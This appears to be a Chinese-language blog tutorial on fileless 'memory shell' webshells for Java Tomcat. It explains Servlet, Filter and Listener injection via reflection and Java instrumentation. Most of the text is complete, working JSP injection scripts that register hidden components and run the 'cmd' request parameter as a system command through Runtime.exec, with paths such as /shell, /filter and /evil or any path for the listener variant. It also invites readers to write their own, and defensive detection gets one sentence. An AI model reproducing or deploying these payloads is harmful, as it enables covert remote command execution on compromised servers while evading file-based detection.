参考文章
- 稀土掘金-快速入门-Java Instrumentation
- Freebuf-一文看懂内存马
- Freebuf-利用"进程注入"实现无文件复活 WebShell
- 先知-Java Web内存马深入分析:从注入原理到检测查杀
文件落地类型的木马太容易被检测, 来学无文件落地的内存马了
无文件攻击
无文件攻击可以有效规避传统的文件检测的安全软件; 它们在内存中远程加载执行, 驻留注册表或滥用白名单工具(powershell, WMI, psexec等)
它运行攻击者访问系统进行后续的恶意活动, 且不会在执行后留下任何痕迹
内存马介绍
目标
访问任意url或者指定url, 带上参数即可让服务器返回命令执行结果
实现
以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet, 只要在这个请求的过程中做手脚, 在内存中修改已有的组件或者动态注册一个新的组件, 插入恶意的shellcode即可
类型
1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马
2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
前置知识
Java架构
这里有后面实例的背景知识
关于反射
首先, 为什么需要反射:
- 没有源码我怎么知道类咋样, 而且不同容器和中间件API可能变动
- 内存马需要运行在应用进程内, 你看反射可以直接在内存里操作
- 隐蔽
在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中
- 获取当前线程 → 找到当前请求的上下文
- 遍历容器结构 → 定位到目标Context
- 动态修改结构 → 添加恶意Wrapper到children
java instrumentation
Java Instrumentation 是JVM提供的一种运行时程序转换机制,允许开发者在类加载时或运行时修改字节码,从而实现对Java应用程序的监控、诊断和增强,而无需修改源代码。
JVM层面的支持: JVMTI和Java agent
JVMTI(JVM Tool Interface), JVM提供了底层C/C++接口, Instrumentation构建在JVMTI之上
Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互
那么既然java instrumentation可以在运行时修改字节码, 我们完全可以修改加载到内存中的类里面的方法, 注入恶意代码
JavaWeb补充
ServletContext是Web应用,ServletContext对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。
内存马实现
直接上一个简单的来自大佬文章的内存马, 执行代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%
// 创建恶意Servlet(命令执行核心)
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
// 读取命令输出
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
// 返回结果到HTTP响应
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
// 上下文获取: 通过ClassLoader获取StandardContext
// Thread.currentThread().getContextClassLoader():获取当前Web应用的ClassLoader
// WebappClassLoaderBase:Tomcat特有的类加载器,包含容器上下文引用
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// getResources().getContext():获取StandardContext实例
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对恶意Servlet进行封装, 创建Wrapper
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
// 配置Wrapper属性
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定(URL路径映射)
standardCtx.addServletMapping("/shell","jweny");
%>
注意内存马一般会针对环境做出改良, 这个例子首先依赖Tomcat内部API, 然后因为使用的是StandardContext的合法API获取上下文, 并没有用到反射
再来认识一下这个例子, 假设Tomcat容器是一个快递站
- StandardContext是区域管理, 管理Servlet/Filter/Listener
- Wrapper就是快递包装盒
- Servlet是快递内的物品
而我们的攻击步骤, 就是
- 塞一个危险物品(恶意Servlet)
- 找到快递站管理(获取StandardContext的接口)
- 盒子包装(Wrapper封装)
- 放到快递货架里(利用StandardContext的接口addChild()添加到children)
- 贴上取件码使得这个危险物品可以被找到(绑定URL)
下面分别介绍几种不同的内存马
Filter内存马
原理
Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。
先来看看filter是怎么设计的
所以我们除了filter实例, 还需要配置filterConfigs,filterDefs, filterMaps
注入流程
注入流程如下
ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter
- 获取ServletContext
- 反射获取ApplicationContext
- 反射获取StandardContext
- 反射获取filterConfigs Map
- 创建恶意FIlter
- 创建和配置FilterDef, FilterMap
- 添加到StandardContext
- 反射创建ApplicationFilterConfig, 将其加入filterConfigs
代码实现
话不多说来看例子, 来自大佬的文章:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "filter"; // Filter 的名称
// 1. 获取 ServletContext
ServletContext servletContext = request.getServletContext();
// 2. 通过反射获取 ApplicationContext
// 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); // 设置字段可访问
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值
// 3. 通过反射获取 StandardContext
// 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true); // 设置字段可访问
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值
// 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)
// 反射获取 StandardContext 中的 private 字段 "filterConfigs"
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true); // 设置字段可访问
Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值
// 5. 检查是否已存在同名 Filter
if (filterConfigs.get(name) == null) {
// 6. 创建恶意的 Filter 实例
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Filter 初始化方法 (此处为空)
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// Filter 的核心处理方法
HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
// 如果请求参数中包含 "cmd",则执行命令
if (lrequest.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令
// 读取命令执行结果
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
// 将命令执行结果写入响应
lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
lresponse.getOutputStream().flush();
lresponse.getOutputStream().close();
return; // 阻止请求继续传递
}
filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求
}
@Override
public void destroy() {
// Filter 销毁方法
}
};
// 7. 创建 FilterDef (Filter 定义)
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); // 设置 Filter 实例
filterDef.setFilterName(name); // 设置 Filter 名称
filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名
standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext
// 8. 创建 FilterMap (Filter 映射)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式
filterMap.setFilterName(name); // 设置 Filter 名称
filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST
standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)
// 9. 创建 ApplicationFilterConfig (Filter 配置)
// 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true); // 设置构造方法可访问
// 通过反射创建 ApplicationFilterConfig 实例
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册
filterConfigs.put(name, filterConfig);
}
%>
上传该jsp文件到webapp目录然后访问jsp文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd执行命令
Servlet内存马
Wrapper的配置流程如下: 设置Servlet名称, 设置Servlet类, 设置Servlet实例, 设置加载顺序
注入流程
对比Filter内存马来说步骤更少
- 获取ServletContext
- 反射获取ApplicationContext
- 反射获取StandardContext
- 创建和配置Wrapper
- 添加到StandardContext
- 配置URL映射
代码实现
来看来自大佬的具体实现:
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
// 定义恶意Servlet类
class EvilServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
response.getWriter().write(sb.toString());
} catch (Exception e) {
response.getWriter().write(e.toString());
}
}
}
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}
// 注入流程
final String servletName = "evilServlet";
final String urlPattern = "/evil";
// 1. 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 检查 Servlet 是否已存在,防止重复注入
if (standardContext.findChild(servletName) == null) {
// 3. 创建 Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());
wrapper.setLoadOnStartup(1);
// 4. 添加 Servlet 配置
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(urlPattern, servletName);
out.println("Servlet 注入成功!");
out.println("访问路径: " + urlPattern);
out.println("支持参数: cmd");
} else {
out.println("Servlet 已存在!");
}
%>
Listener内存马
区别: Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发; 所以Listener可以实现访问任意路径触发
注入流程
步骤如下:
- 获取ServletContext
- 反射获取ApplicationContext
- 反射获取StandardContext
- 创建Listener
- 添加到ApplicationEventListener
代码实现
来自大佬的代码, 访问任意路由传参cmd执行命令
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%
// 定义恶意Listener
class EvilListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 每次请求初始化的时候处理
System.out.println("start of listen");
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
HttpServletResponse response =
(HttpServletResponse) request.getAttribute("javax.servlet.response");
response.getWriter().write(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 每次请求结束时的处理
System.out.println("ends of listen");
}
}
// 注入流程
// 1. 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 创建并添加Listener
ServletRequestListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
out.println("Listener注入成功!");
%>
拓展
你已经学会了, 现在来写个内存马玩玩吧
- 早期rebeyond师傅开发的memshell,就是通过修改
org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的, - 后期冰蝎最新版本的内存马为了实现更好的兼容性,选择
hook javax.servlet.http.HttpServlet#service函数
其他内存马
内存马查杀
注入内存马的手段同样可以用来查杀内存马, 但是肯定不能通过拿所有已经加载的内存马进行反编译后检测